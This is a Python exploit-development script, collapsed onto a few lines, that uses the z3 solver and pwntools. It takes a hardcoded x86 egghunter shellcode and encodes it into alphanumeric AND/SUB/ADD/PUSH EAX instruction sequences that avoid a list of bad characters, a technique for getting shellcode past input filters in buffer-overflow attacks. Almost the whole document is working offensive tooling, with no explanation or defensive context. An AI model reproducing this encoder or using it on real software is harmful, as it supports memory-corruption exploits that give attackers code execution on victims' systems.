1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| from z3 import * from pwn import * import sys
shellcode = "" shellcode += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd" shellcode += "\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74" shellcode += "\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
shellcode = shellcode[::-1]
shellcode += "\x41"*(math.ceil(len(shellcode)/4)*4-len(shellcode))
bad_chars = [0x0a, 0x0d, 0x2F, 0x3A, 0x3F, 0x40] is_zerofied = True
def solve(leftover,target): global bad_chars global is_zerofied
nozeros = {} zeros = {} result = [nozeros,zeros] leftovers = [leftover,0]
for op in range(2): for ops in range(1,4): s = Solver() s.set("timeout",10000) var = [] sign = []
for i in range(ops): var.append(BitVecs('var_'+str(i),32)[0]) sign.append(Int('sign_'+str(i)))
for i in sign: if 0x2d in bad_chars: s.add(i==1) elif 0x05 in bad_chars: s.add(i==-1) else: s.add(Or(i==1,i==-1))
for i in var: for k in range(0,32,8): s.add(Extract(k+7, k, i) > BitVecVal(0x00, 8)) s.add(ULT(Extract(k+7, k, i),BitVecVal(0x80, 8))) for c in bad_chars: s.add(Extract(k+7, k, i) != BitVecVal(c, 8)) func = lambda var,sign:var*Int2BV(sign,32) s.add(leftovers[op]+sum(list(map(func,var,sign)))==target) if s.check() == sat: for i in s.model(): result[op][i.name()]=s.model()[i].as_long() break
if len(zeros) == 0 and len(nozeros) == 0: return {} elif len(zeros) == 0: is_zerofied = False return nozeros elif len(nozeros) == 0: is_zerofied = True return zeros else: if len(zeros)+2<len(nozeros): is_zerofied = True return zeros else: is_zerofied = False return nozeros
def zerofy(): global bad_chars s = Solver() x,y = BitVecs('x y',32) var = [x,y] for i in var: for k in range(0,32,8): s.add(Extract(k+7,k,i) > BitVecVal(0x00,8)) s.add(ULT(Extract(k+7, k, i),BitVecVal(0x80, 8))) for c in bad_chars: s.add(Extract(k+7, k, i) != BitVecVal(c, 8)) s.add(x&y==0) if s.check() == sat: r = [] for i in s.model(): r.append(s.model()[i].as_long()) return r return [0,0]
final = b""
if 0x25 in bad_chars or (0x2d in bad_chars and 0x05 in bad_chars): print("cannot be decoded!") sys.exit(0)
zero1,zero2 = zerofy()
if zero1==0 and zero2==0: print("cannot be decoded!") sys.exit(0)
print("and eax, 0x%08x" % zero1) final += asm("and eax, 0x%08x" % zero1) print("and eax, 0x%08x\n" % zero2) final += asm("and eax, 0x%08x" % zero2)
leftover = 0
for i in range(int(len(shellcode)/4)): tmp = shellcode[i*4:i*4+4] target = int("0x"+''.join(str(hex(ord(j)))[2:].zfill(2) for j in tmp),16) res = solve(leftover,target) if not res: print("cannot encode!") sys.exit(0) ops = int(len(res)/2) if is_zerofied: print("and eax, 0x%08x" % zero1) final += asm("and eax, 0x%08x" % zero1) print("and eax, 0x%08x" % zero2) final += asm("and eax, 0x%08x" % zero2) for i in range(ops): if res['sign_'+str(i)] == -1: print("sub eax, 0x%08x" % res['var_'+str(i)]) final += asm("sub eax, 0x%08x" % res['var_'+str(i)]) else: print("add eax, 0x%08x" % res['var_'+str(i)]) final += asm("add eax, 0x%08x" % res['var_'+str(i)]) print("push eax\n") final += asm("push eax") leftover = target print(''.join("\\x%02x" % i for i in final))
|